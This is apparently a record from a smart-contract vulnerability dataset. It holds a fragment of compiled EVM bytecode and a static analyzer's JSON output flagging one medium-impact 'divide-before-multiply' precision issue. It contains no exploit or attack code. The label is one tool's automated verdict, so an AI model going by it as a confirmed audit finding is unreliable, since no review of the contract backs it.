fffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561150a5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156115645750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561156e57600080fd5b8060048190555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156116265750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156116805750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561168a57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156117805750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156117da5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156117e457600080fd5b8060058190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156118bf5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156119195750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561192357600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611a1a5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a745750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611a7e57600080fd5b80600860008461ffff1661ffff168152602001908152602001600020600101819055505050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611b545750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bae5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611bb857600080fd5b600860008461ffff1661ffff16815260200190815260200160002090506000816002015414915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611c935750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ced5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611cf757600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414159050919050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611df45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611e5857600080fd5b600860008461ffff1661ffff1681526020019081526020016000209050600081600201541415611e8b5760009150611eb3565b8060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b50919050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611f6a5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611fc45750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611fce57600080fd5b600860008561ffff1661ffff168152602001908152602001600020905060008160020154141561200a5760008081915080905092509250612019565b80600101548160030154925092505b50915091565b6000806000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156120d35750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561213757600080fd5b600860008761ffff1661ffff16815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160010154826002015483600301549450945094509450509193509193565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156122465750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156122a05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156122aa57600080fd5b600454905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561235e5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156123b85750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156123c257600080fd5b6000600860008361ffff1661ffff1681526020019081526020016000206003018190555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156124975750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124f15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156124fb57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001541415151561255057600080fd5b818160010160006101000a81548160ff021916908315150217905550505050565b60008060008061257f6138d7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561262b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156126855750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561268f57600080fd5b73402cc14a55f355883df5549c0434877a68b7d0896394a0b878896040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808261ffff1661ffff168152602001915050604080518083038186803b15801561270157600080fd5b505af4158015612715573d6000803e3d6000fd5b505050506040513d604081101561272b57600080fd5b8101908080519060200190929190805190602001909291905050508093508194505050608060405190810160405280600060ff168152602001600060ff168152602001600081526020016000815250905060ff8260ff16141515612bd25760ff8360ff161415156128fc576128fb6008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f60018801600188016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b15801561282257600080fd5b505af4158015612836573d6000803e3d6000fd5b505050506040513d602081101561284c57600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b5b612a5e6008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f87600188016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b15801561298557600080fd5b505af4158015612999573d6000803e3d6000fd5b505050506040513d60208110156129af57600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b60008360ff16141515612bd157612bd06008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f60018803600188016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b158015612af757600080fd5b505af4158015612b0b573d6000803e3d6000fd5b505050506040513d6020811015612b2157600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b5b5b60ff8360ff16141515612d4257612d416008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f60018801876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b158015612c6857600080fd5b505af4158015612c7c573d6000803e3d6000fd5b505050506040513d6020811015612c9257600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b5b60008360ff16141515612eb257612eb16008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f60018803876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b158015612dd857600080fd5b505af4158015612dec573d6000803e3d6000fd5b505050506040513d6020811015612e0257600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b5b60008260ff161415156133085760ff8360ff16141515613032576130316008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f60018801600188036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b158015612f5857600080fd5b505af4158015612f6c573d6000803e3d6000fd5b505050506040513d6020811015612f8257600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b5b6131946008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f87600188036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b1580156130bb57600080fd5b505af41580156130cf573d6000803e3d6000fd5b505050506040513d60208110156130e557600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b60008360ff16141515613307576133066008600073402cc14a55f355883df5549c0434877a68b7d089635cc1ad7f60018803600188036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1660ff1681526020018260ff1660ff1681526020019250505060206040518083038186803b15801561322d57600080fd5b505af4158015613241573d6000803e3d6000fd5b505050506040513d602081101561325757600080fd5b810190808051906020019092919050505061ffff1661ffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815250508888846137c6565b5b5b806000015160ff16600a826040015181151561332057fe5b0402816040018181525050806020015160ff16600a826060015181151561334357fe5b04028160600181815250508060400151816060015194509450505050935093915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156134135750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561346d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561347757600080fd5b42600860008361ffff1661ffff1681526020019081526020016000206002018190555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561354b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156135a55750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156135af57600080fd5b600554905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561361257600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156137025750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561375c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561376657600080fd5b600860008261ffff1661ffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600090556003820160009055505050565b8273ffffffffffffffffffffffffffffffffffffffff16846000015173ffffffffffffffffffffffffffffffffffffffff16141561384d57836020015184602001518260400151011015151561381b57600080fd5b83602001518160400181815101915081815250506001816000018181510191509060ff16908160ff16815250506138d1565b8173ffffffffffffffffffffffffffffffffffffffff16846000015173ffffffffffffffffffffffffffffffffffffffff1614156138d05783602001518460200151826060015101101515156138a257600080fd5b83602001518160600181815101915081815250506001816020018181510191509060ff16908160ff16815250505b5b50505050565b608060405190810160405280600060ff168152602001600060ff168152602001600081526020016000815250905600a165627a7a7230582046b05a80a553cc1801cdae045a75b1c8c1db67b33f46e6fbac7e0dd9963daf250029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,099